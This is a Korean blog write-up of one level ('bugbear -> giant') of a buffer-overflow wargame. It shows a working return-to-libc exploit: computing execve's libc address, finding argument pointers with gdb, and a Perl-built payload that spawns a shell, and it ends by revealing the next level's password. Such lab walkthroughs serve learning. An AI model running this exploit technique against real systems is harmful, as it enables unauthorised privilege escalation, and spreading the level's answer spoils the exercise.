심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (bugbear -> giant )

1. 취약점


popen() : 파이프라인을 생성하는 함수

sscanf() stdin이 아닌 문자열에서 입력을 받는 함수

ldd: 공유 라이브러리를 출력하는 명령어

nm: 오브젝트 파일에 포함되어있는 심볼 리스트를 출력


execve()의 주소는 첫 번째 빨간 네모에서 두 번째 빨간 네모의 각각의 결과의 합이라는 힌트(?)를 

코드 상에 보여주었기 때문에 각각의 빨간 네모의 명령어를 bash2상에서 수행한다.

권한 문제로 assasin파일을 접근조차 할 수 없으므로 ./giant 파일을 통해서 첫 번째 명령어를 수행하자

$ bash2

$ ldd /home/bugbear/giant | grep libc | awk '{print $4}'

$ nm /lib/libc.so.6 | grep __execve | awk '{print $1}'



첫 번째 명령어의 결과로 libc 공유 라이브러리의 메모리 상의 위치를 출력하였고, 두 번쨰는 execve의 명령어의 오프셋(offset)이다 따라서 execve의 주소는 0x40018000 + 0x91d48 = 0x400a9d48임을 알 수 있다. 

(고로 Return Address는 0x400a9d48)


execve(char *path, const char* argv[], char* const envp[])

첫 번째 인자는 "/bin/sh", 두 번째 인자는 "/bin/sh"의 인자 배열의 시작주소 세 번째는 null을 주면 끝이다.

직전 단계에서 이미 한 번 수행해 보았기 때문에 적극적으로 인용하겠다.

/bin/sh 의 주소 : 0x400fbff9 , exit()의 주소 0x400391e0


2. Exploit

1. 이제 필요한 건 execve()의 두 번째, 세 번째 인자다. 

   컴파일과 디버깅을 하기 전에 giant.c 파일에서 권한이 없는 영역을 수정한다.

$ cp giant.c gian1.c

$ vi ./gian1.c

$ gcc -g -o gian1.c "`perl -e 'print "\x48\x9d\x0a\x40"'`" 

$ gdb -q "`perl -e 'print "\x48\x9d\x0a\x40"'`" 



빨간 네모로 수정을 한 후 저장을 한다. 그리고 컴파일 결과물을 /bin/sh의 주소로 한다.

왜냐하면 c에서 execve()의 사용하는 모습으로 확인할 수 있다.



위의 함수에서 char* argv[], 즉 두 번째 인자 역할을 수행할 녀석이 필요한데, 그 역할을 argv[0]로 하면

아주 오래 전에 파일명을 이용한 오버플로우를 수행하였을 때(vampire -> skelton) 메모리 상위에서 바퀴벌레 같이 숨어 있는 두 번째 인자를 획득할 수 있다. 



2. 각설하고 두 번쨰 인자 주소를 찾아보자

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x40'`



오랜만 바퀴벌래?! 

저 부분에서 파일 경로 부분을 제외한 부분을 사용해야 /bin/sh 부분만 남기 때문에 

0xbfffffe9 + 14 = 0xbffffff7 이 두 번째 인자의 주소이다.


3. 세 번째 인자는 두 번째 인자의 마지막 자리 숫자를 바꿔 가면서 null pointer를 찾아 본다. 

(gdb) x/x 0xbffffffc  <- 잡았다 요놈! 


4. 즐거운 괴롭힘 시간~

$ cd ~

$ ln -fs ./giant "`perl -e 'print "\x48\x9d\x0a\x40"'`" 

$ ./"`perl -e 'print "\x48\x9d\x0a\x40"'`"  "`perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\xf7\xff\xff\xbf", "\xfc\xff\xff\xbf" '`"


5. 결과



id :  giant   passwd : one step closer


 

,